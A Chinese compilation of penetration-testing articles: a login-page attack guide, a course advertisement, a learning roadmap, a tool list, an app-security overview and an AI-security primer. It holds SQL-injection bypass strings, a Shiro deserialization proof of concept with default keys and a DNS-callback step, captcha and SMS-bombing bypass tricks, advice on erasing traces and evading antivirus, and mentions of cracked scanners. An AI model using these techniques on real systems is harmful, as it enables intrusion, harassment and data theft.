渗透测试常见的几种思路与总结

我们在进行渗透测试的时候,常常会遇到许多网站站点,而有的网站仅仅是基于一个登陆接口进行处理的。尤其是在内网环境的渗透测试中,客户常常丢给你一个登陆网站页面,没有测试账号,让你自己进行渗透测试,一开始经验不足的话,可能会无从下手。今天就来简单说一下如何在只有一个登陆页面的情况下,来进行渗透测试。

0x00

在条件允许的情况下,我们可以拿在渗透测试的开始之前拿出我们的扫描器来进行扫描,目前我们最常用的就是AWVS和Nessus,除此之外,我们还可以使用一些别的自动化测试工具,例如Nikto扫描器,Appscan,W3af,以及最近长亭科技的Xray扫描器,都可以试试。尤其是Xray扫描器,据说有许多小伙伴靠它挖到了许多漏洞。

以下是这些工具的一些使用方法,不进行赘述 Nikto https://zhuanlan.zhihu.com/p/70225775 Xray https://chaitin.github.io/xray/#/ W3af https://www.freebuf.com/column/145984.html Appscan https://zhuanlan.zhihu.com/p/287293710×01 SQL注入

万能密码绕过如果我们能够直接绕过登录,来直接访问系统内部资源,那自然是最好不过的了。万能密码就是其中一最好用的一种,虽然存在的可能性不大,但是偶尔也是存在的,稍微尝试一下也不会浪费太多时间。例如’or 1=1 –”or “a”=”a万能密码在网上非常多,随便搜一下就有例如这样,就能直接访问后台

登录口SQL注入有的系统在登录口就存在SQL注入,目前我遇到过比较多的是Oracle以及MySQL的登录口注入,我们可以在登录处先抓一个包,然后根据抓包信息来构造Payload。值得一提的是,有时候我们需要在Burp里修改一下发包格式(change body encoding),才能成功注入。

在这给个例子:正常登录报错

加一个引号

修改payload,以此返回数据包不同来判断存在SQL注入。

并且,这类的SQL注入并不罕见,在许多网站中都可以进行尝试,很有可能会存在此漏洞

0x02 明文传输/用户名可枚举/爆破弱口令

明文传输可能是我们做渗透测试中,最常见的一种漏洞,实际上它并不能算得上是一种漏洞,仅仅只能说是一种不足之处而已,明文传输在网站上随处可见,除了银行网站,很有可能每一个密码都是经过特殊加密然后再进行传输的。

用户名可枚举此漏洞存在主要是因为页面对所输入的账号密码进行的判断所回显的数据不一样,我们可以通过这点来进行用户名的枚举,然后通过枚举后的账户名来进行弱口令的爆破。防御手段的话仅需要将用户名与密码出错的回显变成一样即可,例如用户名或密码出错。

爆破弱口令弱口令可以说是渗透测试中,最最常见,也是危害“最大”的一种漏洞,因为毫无技术性,毫无新意,但是却充满了“破坏性”,尤其是在内网环境中,弱口令更是无处不在。Web页面最常用的爆破工具为Burp,我们通常使用Nmap扫描也可能扫出其他端口存在,例如3389,SSH等。

弱口令爆破工具推荐,详情可看以下,不在赘述:Hydra:https://yq.aliyun.com/articles/608406/超级弱口令:链接:https:///s/1mkwnxu19Aq-KEVCWOZn99w 提取码:blj3复制这段内容后打开百度网盘手机App,操作更方便哦御剑RDP爆破: https://github.com/foryujian/yujianrdpcrackBruter: https://www.uedbox.com/post/8478/

此外,我们还可以根据网站域名,以及收集的一些信息来进行定制化爆破,例如我在一次内网渗透测试中,发现了管理员的名字缩写为crj,然后我就生成了一堆密码,最后成功登陆账号密码为crj112233。

定制化生成字典:http://tools.mayter.cn/字典:https://github.com/rootphantomer/Blasting_dictionary

还有很多字典,可以在网上多收集一些,有时候你离Getshell,仅仅只差一个弱口令。

此外,有时候我们还可能遇到存在默认密码的系统,在这给出一些网上公开的默认账户密码

0x03 扫描

目录扫描在我看来,这是最好用的目录扫描工具:https://github.com/maurosoria/dirsearch ,DirSearch已经成为了我日常渗透工作中密不可分的工具之一,并且我们可以多级别扫描,在枚举子目录的目录,很多时候可以找到突破口。

除此之外,还有御剑:https://github.com/52stu/- 也是比较常用的

JS扫描JS文件我们在渗透测试中也是经常用到的东西,有时候我们可以在JS文件中找到我们平时看不到的东西,例如重置密码的JS,发送短信的JS,都是有可能未授权可访问的。JS扫描的话推荐使用JSFind: https://github.com/Threezh1/JSFinder同时它也会提取页面中的URL,简单举例

nmap扫描Nmap的强大功能能让我们第一时间获取网站的端口信息,而这些端口信息中常常可以给予我们非常大的帮助,例如开放了3389端口,或者一些敏感端口的探测,Nmap的使用方法相比不需要我再多说,每个安全工程师都必须要精通的一种工具,以下是我的一些端口小总结,希望可以给与大家一点儿帮助。

在扫描目录与JS这块,要注意多次爆破,遍历访问多级域名的目录与JS。我就曾在一个学校网站中,使用Nmap对批量网段的探测,获得了一个登陆网站,并且在网站中遍历目录,获得了一个test页面,最后在这个页面的JS文件中,获取到了一个接口,通过这个接口重置了主登录页面的密码。

0x04 框架漏洞

寻找CMS,或者网页框架,以及某些厂商的服务存在漏洞例如Apache中间件组件Shiro反序列化漏洞,这里简单说一下:需要一个ysoserial.jar https://github.com/frohoff/ysoserial以及默认秘钥4AvVhmFLUs0KTA3Kprsdag==2AvVhdsgUs0FSA3SDFAdag==2AvVhdDFCVdfdfDFAdag==3AvVhmFLUs0KTA3Kprsdag==kPH+bIxk5D2deZiIxcaaaAwGiHplamyXlVB11UXWol8g==6ZmI6I2j5Y+R5aSn5ZOlAA==AsfawfsdfaAasdWWW==Z3VucwAAAAAAAAAAAAAAAA==6ZmI6I2j5Y+R5aSn5ZOlAA==ZUdsaGJuSmxibVI2ZHc9PQ==1QWLxg+NYmxraMoxAXu/Iw==POCfrom Crypto.Cipher import AESfrom Crypto import Randomfrom base64 import b64encodefrom base64 import b64decode

BS = AES.block_sizepad = lambda s: s + (BS – len(s) % BS) * chr(BS – len(s) % BS)def encrypt(key, text): IV = Random.new().read(AES.block_size) cipher = AES.new(key, AES.MODE_CBC, IV=IV) data = b64encode(IV + cipher.encrypt(pad(text))) return datakey= b64decode(‘2AvVhdsgUs0FSA3SDFAdag==’)print encrypt(key, open(‘payload.dat’,’rb’).read())使用方法1:java -jar ysoserial.jar URLDNS “你的ceye.io或者burp的collaborator client功能中”>payload.dat2:运行python脚本,生成cookie

3:将cookie复制到burp发包,此时DNSlog就会记录,我们可以再次构造进行命令执行,在这不进行深入。

致远A8-getshell:https://www.cnblogs.com/dgjnszf/p/11104594.htmlThinkphp:https://github.com/SkyBlueEternal/thinkphp-RCE-POC-CollectionStruts2: https://github.com/HatBoy/Struts2-Scanweblogic: https://github.com/rabbitmask/WeblogicScan以及各大Java反序列化漏洞等等,这里的漏洞都说不完了。

0x05逻辑漏洞

寻找逻辑漏洞,例如忘记密码,任意用户注册

任意重置密码例如

此时客户端会发一个验证码包,我们这是随意输入验证码,发包,返回包。返回包错误的回显为{“status”:0}将返回包的东西换成{“status”:1}即可重置密码

乌云示例:http://www.anquan.us/static/bugs/wooyun-2013-039809.html

任意用户注册爆破注册页面的验证码,即可任意用户注册

同样,这里的验证码如果为四位数的话,有时候也可能存在可爆破,可进行任意用户重置密码

短信轰炸短信轰炸很常见,一般在发送验证码后抓包,不断repeate即可,如果做了一定防护的话,在添加空格,或者特殊符号,或+86等都可以进行绕过

未经过防护的短信爆破十分常见

不完全的登录这个漏洞我找到过一次,就是在登录页面,随意输入任意的账户和密码,然后抓包,修改返回包,骗过前端,从而获得一定的权限,其功能不完善,但是依旧可以看到许多敏感数据。

逻辑漏洞这里要根据不同网站来进行测试,逻辑漏洞的方式多种多样,常常会遇到许多奇怪的姿势,例如cookie某字段为Guest,修改为admin即可更换用户身份的,还需要在日常工作中多加总结。

0x06禁用JS

禁用JS插件,查看页面源代码12禁用JS和查看源代码,有时候会有意想不到的惊喜。

例如某些重定向,某些权限缺失,在我们未授权进入后台一瞬间,就会重定向回去登录页面,而如果此时我们禁用了JS,则可以进行一定权限的控制。

查看源代码则不用多说,有的不大聪明的程序员可能会在源代码里泄露一些不可告人的秘密,例如测试账号,还有我们可能会找到一些网站的后台结构,以及JS接口。

0x07URL重定向

URL重定向URL重定向是我们渗透测试中非常常见的一个漏洞,一般出现在以下参数里,而登录时常常也有这个URL重定向到后台网站,我们修改这个后台网站的URL即可跳转到任意页面,可用于钓鱼页面的制作例如 http://www.aaa.com?url=aHR0cDovL2FkbWluLmFhYS5jb20=url后面常会进行base64编码处理

常见URL跳转参数:redirectredirect_toredirect_urlurljumpjump_totargettolinklinktoDomain

0x08未授权访问

各种未授权访问,免登录进入后台未授权访问在这里有更强的大佬总结了,其需要我们对端口进行注意观察。https://xz.aliyun.com/t/6103

0x09 验证码问题

验证码可修改接受者可将A账号的修改密码验证码接受者修改为B,这样A账号的验证码就会发到B的手机上,从而B可以重置A的账号密码例如A账号moblephone=13333888888 ,这点是可控的,我们修改为moblephone=18888888888,即可收到A账号的重置验证码

登录验证码可绕过可能存在万能验证码0000或者9999,不过此类情况较为罕见。更多的情况为修改返回包,可能会出现可绕过逻辑判断。

验证码可爆破验证码失效的时间过长,并且为纯数字或者过短字符,导致可被爆破。

验证码回显前端有的网站验证码会回显到前端,只需要抓包即可获得验证码

验证码不刷新验证码不会自动刷新,导致我们可一码多次使用,我们只需要输入一次验证码就可以让我们能够开始进行暴力破解。

验证码识别这里使用PKAV的验证码自动识别链接:https:///s/1-l16Nxse7SqQdgSiPZS2-A 提取码:szo2

0x10 总结

简单的来说,遇到一个登陆站点,我们需要做的时候有1、条件允许的情况下开启漏洞扫描2、敏感信息的探测,例如端口,目录,JS文件3、爆破弱口令4、抓包看看是否存在逻辑漏洞,或者SQL注入进行尝试5、寻找框架漏洞PS:如果遇到某些大网站的主站登录,例如银行,建议放弃,寻找其他业务,例如招聘站点登录等。

转载于https://xz.aliyun.com/t/6282

自动化渗透测试能否解决网络安全技能差距?

对于现代企业来说,现代威胁环境是一个巨大的挑战。许多企业通过从最新的热门供应商那里购买最新的安全产品来 “解决 “这个问题,并希望能以此为他们提供保护,但越来越多的人慢慢认识到,这并不足以保护他们的组织。

自动化渗透测试和安全人才缺口

工具和扫描器很好用,但那些只能找到已知的漏洞。许多漏洞只有经过培训的安全专家才能发现。不幸的是,缺乏训练有素、合格的安全专业人员加剧了组织面临的挑战。

安全人才的缺口并没有变小,人们正在想出一些荒唐的想法来弥补这个缺口。最新的一个是自动渗透测试,这个想法的思路是,我们可以以某种方式创建机器人来探测企业的防御系统并发现漏洞。但问题是,这与渗透测试的含义截然相反。真正的渗透测试不是自动扫描工作。真正的渗透测试是利用一个有经验的网络专家的创造性思维来进行的。

渗透测试的全部意义在于具有创造性,从攻击者的角度思考,并识别机器和其他预内置逻辑无法识别的漏洞,从而领先网络犯罪分子一步。当我们教机器人识别和解决一些漏洞时,黑客会变得更有创意并找到新的漏洞来绕过这些自动检查的检测。

我们应该尽可能多地自动化,但仅依赖于您的系统和网络的自动化安全测试并不能保护您的企业。解决这个问题的唯一方法是与优秀的网络安全专业人员合作。

为什么思维方式的转变是关键

安全团队需要具有对抗性或黑客的思维方式,即他们必须像攻击者一样思考。他们需要领先于网络犯罪分子一步,并就需要采取的重要行动及时向组织的其他成员提供建议。

并非每个漏洞都是显而易见的。保护企业的最佳方法是让防御者像攻击者一样思考,并在每次似乎遇到死胡同时更加努力,不要轻易放弃他们认为没有意义的事情。成功防御系统、网络和应用程序不仅需要了解攻击者可以使用的工具,还需要了解他们如何使用这些工具以及何时使用它们。这需要大量的判断力,多找一些问题,而这些问题无法通过自动化测试来完成。自动化测试的好坏取决于您告诉他们要查找和执行的操作。使安全变得困难的是,攻击者每次都在做不同的新事情。

攻击者不需要一个巨大的漏洞来影响组织——他们很有耐心,等待个人犯错,通过网络钓鱼或社会工程让他们进入。一旦进入,他们就会进入网络或提升权限以获得越来越多的敏感系统和数据。

严重的黑客攻击和数据泄露通常始于小事故。由于大多数系统和网络的设计没有必要的安全防御机制,因此将一些小漏洞链接起来产生破坏性影响的情况并不少见。

此外,攻击者不断开发新的恶意软件有效载荷并测试新的威胁载体。真正实现公平竞争的唯一方法是与对手一样富有创造力和坚持不懈的人类防守者。防御者还需要及时了解最新的漏洞利用、黑客技术、恶意软件等。

缩小网络安全技能差距

在网络安全技能方面的差距是一个人的问题,但它不只是要找到足够的人来操作的工具,因为这些工具本身是不够的。所有工具都有保质期,攻击者找到解决方法只是时间问题。

如果我们真的要解决安全问题,我们需要加强对所有人的安全意识培训。我们需要培训设计和构建系统以及网络的人员具有攻击者思维。我们必须确保我们培训的安全专业人员能够像攻击者一样思考,及时了解最新的漏洞利用和安全问题。

毫无疑问,我们需要更多合格的安全专业人员,解决人才短缺的问题没有灵丹妙药。您不必成为 IT 专家即可进入安全领域。你需要有一颗好奇的心,是一个创造性的问题解决者,愿意付出汗水来学习这门手艺,不要轻易放弃并继续前进。

优秀的候选人可以来自组织的许多部门,譬如系统管理员、网络工程师、Web 开发人员、客户支持成员,甚至是应届毕业生。虽然他们无法一蹴而就,但他们将具备在安全方面取得成功的基本特征。

安全问题归根结底是人的问题。扫描仪、工具和自动化测试可以提供帮助,但要真正解决这个问题,需要多层次的人类创造力来解决它。

转行做渗透测试后,享受高薪双休美滋滋

互联网寒冬找好工作难

不仅如此还要996,日子真难过

所有人都在讨论996,而有些人却依然享受着双休

吃单位粮,没学历没本事只适合仰望,还有一部分人技术型人才,我们努努力也不是不可以。

只有拥有实用的技术,才不会被大环境所影响。

在普遍认为大环境不太好的情况下,雨笋教育的学员依然找到不错的高薪工作,就是靠过硬的技术。渗透测试一个可操作性很强的一项专业,实战能力决定你的薪资水平。

随着Web 安全事件层出不穷,如数据资料被窃取、删除;服务器遭受入侵,用户帐号被盗;用户资料被修改、被钓鱼、勒索病毒等,一旦发生,对企业而言都是不小的打击。这对个网络安全行业来说无疑是拥有巨大前景发展方向的,咱们要做的是不断地提升自己,加强自身的技能

越来越互联网企业需要更多的高技术人才,选择大于努力,重新开始不一定会亏,掌握一项安全技能将是你未来晋升的优势!

这么吃香的渗透不学还等啥?三天教你掌握挖洞核心技能

1.学渗透达到什么程度可以挖洞

2.做渗透工作好找嘛

3.转行的他们后来怎么样了

一般系统学2-3个月,学习渗透的理论基础知道漏洞的基础分类及发现方法。主要包括:Web前后端基础与服务器通信原理的了解、当下主流漏洞的原理与利用、当下主流漏洞的挖掘与审计复现。一般学会这三步,完全可以自己挖洞了。

渗透工程师大厂都很缺人,只要技术过关,不愁工作的问题。根据招聘网站数据显示,当前市场上需求量较大的几类网络安全岗位,如安全运维、渗透测试、等保测评等,不同城市平均薪资水平都在8-10k以上。随着经验和水平的不断增长,网络安全工程师可以胜任更高阶的安全架构、安全管理岗位,薪资更加是以年计算。雨笋教育这边近期也收不少合作企业的内推机会,这么好的机会抓紧学啊。

从网上可以看到很多想转行的问题,网络安全行业已经被更多人注意到

雨笋教育之前也分享过转行学渗透的案例,原本做前端通过几个月的学习拿下渗透工程师的offer

选择大于努力:就是告诉你在关键的时候一定要做好选择!

你现在学习犹犹豫豫,一年经验用十年,以后老板给你加薪就会犹犹豫豫,为自己而学是不用等待的,把握机会,把握风口,抓紧上岸!

雨笋教育专注培养国家网络安全实战精兵,授予所有学员渗透测试就业技术要求。一线渗透工程师教学技术不断更新,靶场练习及海量学习资料持续更新中,报名本次训练营都可以领取。

网络渗透测试工程师学习路线\

肯定有很多人都听说过网络安全工程师这个职业,虽然比不上现在的前后端那么大红大紫,但也是一个不可小觑的技术职业,但你是否知道,网络安全工程师只是一个大的类,根据所作的工作内容不同可分为多个分支,比如渗透测试工程师、安全运营工程师、网络攻防专家等等。

这些分支所学的东西虽然不尽相同,但却有很多的互通之处,所以很多公司对外招聘的时候都统一招网络安全工程师,只是工作的时候分工不同。

今天来给大家介绍一下网络工程师里面比较热门的渗透测试方向,这个方向可能会有很多新人会喜欢,看起来很酷,白帽子技术,因此渗透测试工程师也有另一个称号:“不会做坏事的H客”。

今天我尽可能地用通俗的语言来给大家讲述渗透测试工程师该怎么学习,最后还有学习路线分享,不管是现在还是以后想往这方面学习都是很有益的。

渗透测试工程师学习路线
第一阶段:准备工作

如果要往这方面去学习,前面的准备工作就得做好,做完这些事情之后就万事俱备只欠东风了,可以开始你的渗透之旅了。

第二阶段:信息收集和测试工具

渗透测试工程师经常要用自己的渗透技术去模拟外部攻击,测试出目标存在的漏洞,那么在我们开始渗透之前,肯定要先做好目标的信息收集,清楚我们的目标现在的防御等信息,所以常见的信息收集方法是必须掌握的。与此同时,常见的测试工具我们也得掌握,没有金刚钻,别揽瓷器活。

第三阶段:渗透突破

有了工具和目标站点之后还不够,我们还得有渗透突破技术,就像宝刀给了你,你也得会点刀法才能耍得有模有样的,对吧?所以比较常用的渗透突破技术也是必须要会的。

第四阶段:架构和内网信息收集

在渗透开始之前,我们肯定得用到工具来扫描目标存在哪些漏洞,这时候就需要用到渗透测试架构了,找到突破点;在进去之后,内网的环境跟外面不一样了,这时候我们又得会内网信息的收集技巧,开始收集内部信息。

第五阶段:权限升级

做过渗透的都知道,就算你进去了,但有些东西你是拿不到的,因为你当前的权限还是比较低,这个时候我们就需要提升权限来“为所欲为”。

第六阶段:通道构建

当我们拥有了更大的权限之后,获取到的信息也就更有价值,拿到东西是问题不大的,但怎么拿走就是问题了,如果东西比较大比较多呢?想要拿走又不闹出大动静,这个时候我们就需要悄悄地构建通道了。

第七阶段:横向移动和持续控制

前面所说的权限提升,大多数情况下只能获得系统的权限,但有的东西是放在系统背后的主机,所以就需要通过横向移动技术,把被渗透的系统作为跳板,去访问背后的主机,获得更多的资产。还有一点就是,渗透有时候并没有那么快地就拿到我们想要的东西,需要潜伏等待,这个时候我们就需要用到持续控制技术,维持我们的隐身状态不被发现。

第八阶段:自我提升

做完了渗透之后,我们肯定得把证据捣毁,擦除痕迹不让别人发现,这也是很多白帽子人员常做的事情。以及还有一点不可忽略,那就是渗透时要注意杀毒软件的检测,这些都是一些技术提升要学的东西。

对于技术来讲,最好的防御,就是知道怎么去攻击。

所有的学习知识就到这里了,学完之后你起码能达到中级的渗透测试工程师水平,通过模拟外部攻击行为可以检查出很多的目标漏洞,最终给我们的其他开发人员一些建议,完善我们的系统或者服务器等等,其实也是蛮有意思的。

完整学习路线图
最后给大家附上完整的学习路线图:

学习路线的作用就是可以去网上找相对于的知识点学习,你拿到的资源可以是不全面的,但缺什么你都知道了,补什么就行。

APP安全检测方式都有哪些?

随着无线网络和移动通信技术的发展,智能手机功能日趋强大,因此也将APP市场带动了起来。但是随着手机操作系统日益标准化,网络攻击手段不同往日,黑客已经可以像攻击电脑信息系统一样针对手机系统发起攻击,同时,APP的特点使其同时暴露在众多的网络安全风险和威胁之下,容易遭受到病毒、木马、蠕虫等恶意程序的攻击。

APP通报事件不断,引起了相关部门的重视,下令整改难免给通报企业带来压力,网络安全警钟再次敲响。

当今社会多数人手机不离身,我们无时不刻不在使用APP,那么它真的安全吗?这是APP开发商应该为自身企业和用户考虑的问题。

移动应用和信息系统一样,会存在安全隐患,只是有待APP开发商发现,而发现安全风险的最好办法就是对目标应用定期进行安全检测。天磊卫士建议APP开发商在应用开发生命周期里,对APP安全做一下检测,及时发现APP的安全漏洞和程序存在的缺陷问题,从而降低安全风险和损失。

那么有关APP安全检测的方式都有哪些?

1漏洞扫描

基于漏洞数据库,通过自动化工具扫描等手段对指定的远程或者本地计算机系统的安全脆弱性进行检测。发现可利用漏洞的一种安全检测行为。

图1 漏洞扫描流程
2 渗透测试

由具备高技能和高素质的安全服务人员发起、并模拟常见黑客所使用的攻击手段对目标系统进行模拟入侵。

图2 渗透测试流程
3 代码审计

由具备丰富编码经验并对安全编码原则及应用安全具有深刻理解的安全服务人员,对系统的源代码和软件架构的安全性、可靠性进行全面的安全检查。

图3 代码审计流程
4 安全加固

移动应用安全加固包括Android应用加固、iOS应用加固、游戏应用加固、H5文件加固、微信小程序加固、SDK加固、so文件加固和源对源混淆加固技术,从根本上解决移动应用的安全缺陷和风险,使加固后的移动应用具备防逆向分析、防二次打包、防动态调试、防进程注入、防数据篡改等安全保护能力。

5 安全配置检查

针对IT范围内,漏洞扫描工具不能有效发现的方面(网络设备的安全策略弱点和部分主机的安全配置错误等)进行安全辅助的一种有效评估手段。

图4 安全配置检查流程
6 App违法违规收集使用个人信息合规评估

从APP运营者和监管部门角度出发,多方面对个人信息的收集、使用、存储、传输、行为和权利保障等多个方面,严格按照国家标准规范和监管发文,对移动应用进行全面合规检查,率先将监管检测要求运用到合规评估服务中,强制授权、过度索权、不给权限不让用、私自收集使用个人信息等,为企业和机构提供面向移动应用程序的全方位合规评估。

图5 App违法违规收集使用个人信息合规评估流程
APP安全检测主要面向主流手机操作系统(包括但不限于:Android,IOS,Windows Phone,Symbian,Java等)上开发的移动应用。检测范围覆盖手机端应用程序及文件,服务器端承载环境及处理逻辑及手机端与服务端的网络通讯。

近期APP违法违规收集使用个人信息通报较多,APP无安全评估报告不给上架的情况也较为常见。随着移动应用市场应用的增多,相关部门也因此加大监管力度。为确保APP的安全性与合规性,有必要对其实施有效的安全评估。

诸多种安全检测方式,企业可根据自身需求选择合适的评估手段,以便通过上架审查。

渗透测试工具&导航合集

表哥们一般都有自己强大的工具库,今天我也稍作整理,分享交流出来一部分

信息收集

dirbuster

kali自带的一款工具,fuzz很方便

gorailgun

一款自动化做的非常好的工具,信息收集全过程都能用上

OneForALL

一款子域名收集工具,收集接口非常多,比自己收藏一大堆网址方便,收集子域自动去重,去无效,并进行拓展

layer子域名挖掘机和subdomainbrute

拉满线程去跑子域名的工具,都是老朋友见面,不用多说了

一些网址

http://www.webscan.cc/ C端同服扫描https://www.tianyancha.com/ 天眼查https://fofa.so/ 网络空间搜索引擎http://www.yunsee.cn/ 云悉WEB资产搜集https://www.shodan.io/ shodan搜索引擎https://www.zoomeye.org/ 知道创宇眼http://www.dianhua.cn/ 电话帮http://haoma.sogou.com/rz/ 搜狗号码通http://haoma.baidu.com/query 百度号码认证http://www.gogoqq.com/ 非好友情况如何查看QQ空间http://whitepages.com 房产登记信息查询http://tool.chinaz.com/ 站长之家http://www.webscan.cc/ 在线工具http://www.882667.com 查询IP所在位置http://www.yunsee.cn 云悉在线WEB指纹CMS识别平台http://whatweb.bugscaner.com/look/ 指纹识别

临时邮箱

https://temp-mail.org/zh/

https://www.linshiyouxiang.net/

https://www.guerrillamail.com/zh/

https://www.moakt.com/zh

http://links.icamtech.com/

在线C段/同服(旁站)

https://rapiddns.io/sameip

http://www.webscan.cc/

https://chapangzhan.com

https://phpinfo.me/bing.php

漏洞库

https://www.cnvd.org.cn/

https://www.securityfocus.com/

https://packetstormsecurity.com/

https://www.exploit-db.com/

https://cxsecurity.com/

https://shuimugan.com/

http://0day.today/

注入工具

sqlmap

老朋友没什么可多说的,进阶用法在于写脚本

傀儡SQL注入工具

有Access显错扫描、Mysql显错扫描、Mssql显错扫描、And数字注入、And字符注入、Xor注入测试、Svn源代码泄露、备份扫描等多种注入方式扫描,可以批量,具体自己发挥

傀儡注入点批量收集工具

简单理解就是高并发GoogleHack,批量找存在注入点的网址

渗透浏览器:Firefox渗透便携版(集成多款插件)

插件列表:

CookiesManager+FirebugFlagfoxGroundspeedhackbar1.6.5 版本俄罗斯黑客r0oth3x49升级了很多新功能!https://addons.mozilla.org/zh-CN/firefox/addon/hackbar1/HttpsfoxJSONViewLiveHTTP headers https://addons.mozilla.org/zh-CN … http-headers-clone/ModifyHeadersPosterRefControltamper-datahttps://addons.mozilla.org/zh-CN/firefox/addon/tamper-data/UserAgent Switcher list User-Aaent-20160814.xmlX-Forwarded-ForHeader https://addons.mozilla.org/zh-CN … -header/?src=searchFoxyProxyStandardWappalyzerDisableWebRTCjsswitchAdblockPlusheaderspyhttpheader manglerIETab V2HackSearchAdvancedDork https://addons.mozilla.org/zh-CN/firefox/addon/advanced-dork/ExifViewerWebDeveloperPassiveReconX-Forwarded-ForSpoofer 不兼容替换90sec @siyuan 修正的Shodan.ioComputer SearchCensys.ioSearch

常用浏览器插件

DNS Checker 超多好用的工具,谁用谁知道

FOFA Pro View 便携式,一键识别资产、组件信息、端口、协议、C段

FoxyProxy 代理工具

HackTools 一款渗透综合插件,回弹shell,常用命令,XSS payload,SQL payload等

HackBar 老朋友了,不多说

HTTP Header Live 改cookie,看详细header

Shodan 便携插件

Wappalyzer 识别中间件

漏扫工具

AWVS网上总有最新破解版

goby自动化漏扫框架,功能丰富,必备

Nessus破解流程复杂,但是真的好用

Netsparker综合型的web应用安全漏洞扫描工具,检查SQL和XSS比较擅长

Xray也是必备的,渗透开始就挂着,鼠标点到哪里扫到哪里,联动burp和其他漏扫效果也不错

字典相关

推荐crunch和cupp,kali中都有,自己也可以根据需要写一些脚本

更多实用工具和插件

kali环境下拓展插件

Nessus相关工具拓展插件

awvs相关工具拓展插件

burpsuit相关工具拓展插件

sqlmap相关工具拓展插件

nmap相关工具拓展插件

metasploit相关工具拓展插件

禁止非法,后果自负

欢迎关注视频号:之乎者也吧

人工智能与信息安全:新的革命与挑战

人工智能,是一种借鉴生物感知系统和神经系统来开发相应模拟算法的计算机技术,其主要特点是可从数据中学习特征并进行自我迭代训练。

通常,人工智能算法往往需要大量的数据以及庞大的计算资源作为支撑。随着计算机硬件的迅猛发展以及互联网时代下海量信息的积累,这使得构建复杂的人工智能算法变得可能。2016年,由谷歌公司旗下DeepMind研发的围棋人工智能系统AlphaGo[1]以4比1的战绩打败了人类顶尖棋手李世石。自此,人工智能技术开始了爆发式发展。

在网络安全领域,全球越来越多的公司正在尝试将人工智能、机器学习等集成到产品之中,智能化(Intelligence)、自动化(Automatic)都是网络安全领域的热词。

我国于2017年7月8日印发《新一代人工智能发展规划》,标志着我国人工智能发展进入到国家战略层面。近日发布的“十四五”规划纲要中,共有6处提及人工智能,并将“前沿基础理论突破,专用芯片研发,深度学习框架等开源算法平台构建,学习推理与决策、图像图形、语音视频、自然语言识别处理等领域创新”视为新一代人工智能领域的重点攻关方向。

近几年来,人工智能技术不断取得各种令人惊叹的成果,我国人工智能领域发展可谓突飞猛进,《中国人工智能发展报告2020》显示,过去十年全球人工智能专利申请量超52万件。中国专利申请量为389571件,位居世界第一,占全球总量的74.7%。人工智能被应用于越来越多的行业之中,尤其是在计算机视觉、自然语言处理、游戏对抗等领域。

人工智能的应用
在计算机视觉领域,主流的人工智能技术是卷积神经网络[2,3,4],卷积神经网络借鉴了生物视觉神经系统的工作方式,对视觉信息进行类似于视神经细胞一般的处理,之后作出相应的响应。相较于传统视觉算法,卷积神经网络取得了前所未有的成功。凭借其高准确率,已然成为该领域下各种复杂任务中最受欢迎的解决方案。例如在人脸识别、目标跟踪、自动驾驶等领域。

在自然语言处理领域,基于人工智能技术的语言模型更深层次加深了计算机对语言处理的理解。例如谷歌于2019年推出的Transformer模型[5],其在推荐系统,用户行为分析,机器翻译等语言文本任务领域被广泛应用。

在游戏对抗领域,主流的人工智能技术是强化学习[6,7],由于游戏有明确的规则,利用强化学习算法可以使智能体(计算机)在自我对弈中找到最优解。近年来,强化学习技术开始“出圈”,逐渐被应用到各种行业中,如机器人控制、自动驾驶等领域。

由于人工智能算法极其复杂,且人工智能模型内部包含大量参数,这导致对其进行定量的分析变得极其困难。随着人工智能技术的广泛应用,尤其是在一些对信息安全极其敏感的行业中应用人工智能技术,例如人脸识别、自动驾驶、癌症诊断、国防与关乎人民生命财产安全息息相关的方面,如果不谨慎对待,这些安全隐患很可能在某个节点彻底爆发。所以,对人工智能技术的安全性研究变得尤为重要。

人工智能自身的安全性
以深度神经网络为代表的人工智能技术由于其算法复杂,参数众多,需海量数据驱动等特性使得其自身具有众多安全缺陷,这些缺陷主要发生在两个阶段:AI模型的训练阶段以及应用阶段。其中训练阶段攻击者主要利用AI模型的数据驱动特性,针对训练数据以及训练所使用的算法发起攻击[10],使AI模型偏离原本的训练目的。在应用阶段,攻击者主要利用AI模型本身特性来诱导模型作出错误推断。我们分别从攻击手段和防御手段两个角度来阐述在两个阶段中人工智能自身的安全性问题。

模型训练阶段

攻击手段

训练数据集投毒——当前绝大多数AI算法的所有知识完全依赖于训练数据集之上:攻击者对数据集发起投毒,通过向数据集中引入不正确的标签,将AI系统的学习引到错误的方向上,以使模型将学到的特征模式与错误的标签相关联,从而实现为攻击者的目的。数据集通常包含数百万个样本,这些样本很多时候来自公共资源。即便数据集由私人收集,攻击者也可能入侵数据存储系统并向其引入中毒样本来破坏本来有效的数据集。已有报告指出,即使训练集中仅含有3%的数据污染,数据投毒依然可以让模型精确度下降11%。

算法投毒——此种攻击方式是利用AI学习算法中的薄弱环节。算法投毒攻击针对联邦学习算法[11,12]的威胁尤其巨大。联邦学习在每个节点上训练一组小模型,之后将这些小模型汇总在一起,以形成最终模型。由于每个节点的私有数据仅在自身上被用于训练,因此可以保护他们的隐私。虽然联邦学习是一种解决用户数据因素的良好方案,但其容易受到算法投毒攻击。由于攻击者可以掌握那些受自己控制节点的设备运作,因此他们可以操纵节点上的运行数据和算法来毒化模型。

防御手段

使用可信任的数据集以及云托管平台。训练前应用检测机制,检查数据集是否被污染。设置准确度阈值,在每个训练周期后使用该阈值测试模型,若测试结果发生巨大变化,则极有可能存在数据污染。尽量使用离线训练,一方面攻击者无法从离线训练中得到即时反馈,另一方面也提供了审查数据的机会。

模型应用阶段

攻击手段

白盒攻击——攻击者了解所要攻击AI目标的模型结构、参数等信息。通过利用这些信息,攻击者可以构造出针对AI模型的对抗样本,这些对抗样本往往可以使模型作出错误的判断,甚至诱导模型输出到攻击者指定的方向。此类攻击方式主要分为基于梯度的攻击手段(FGSM[13], PGD[14]),基于优化的攻击手段(CW[15]),基于决策面的攻击手段(DeepFool[16])。

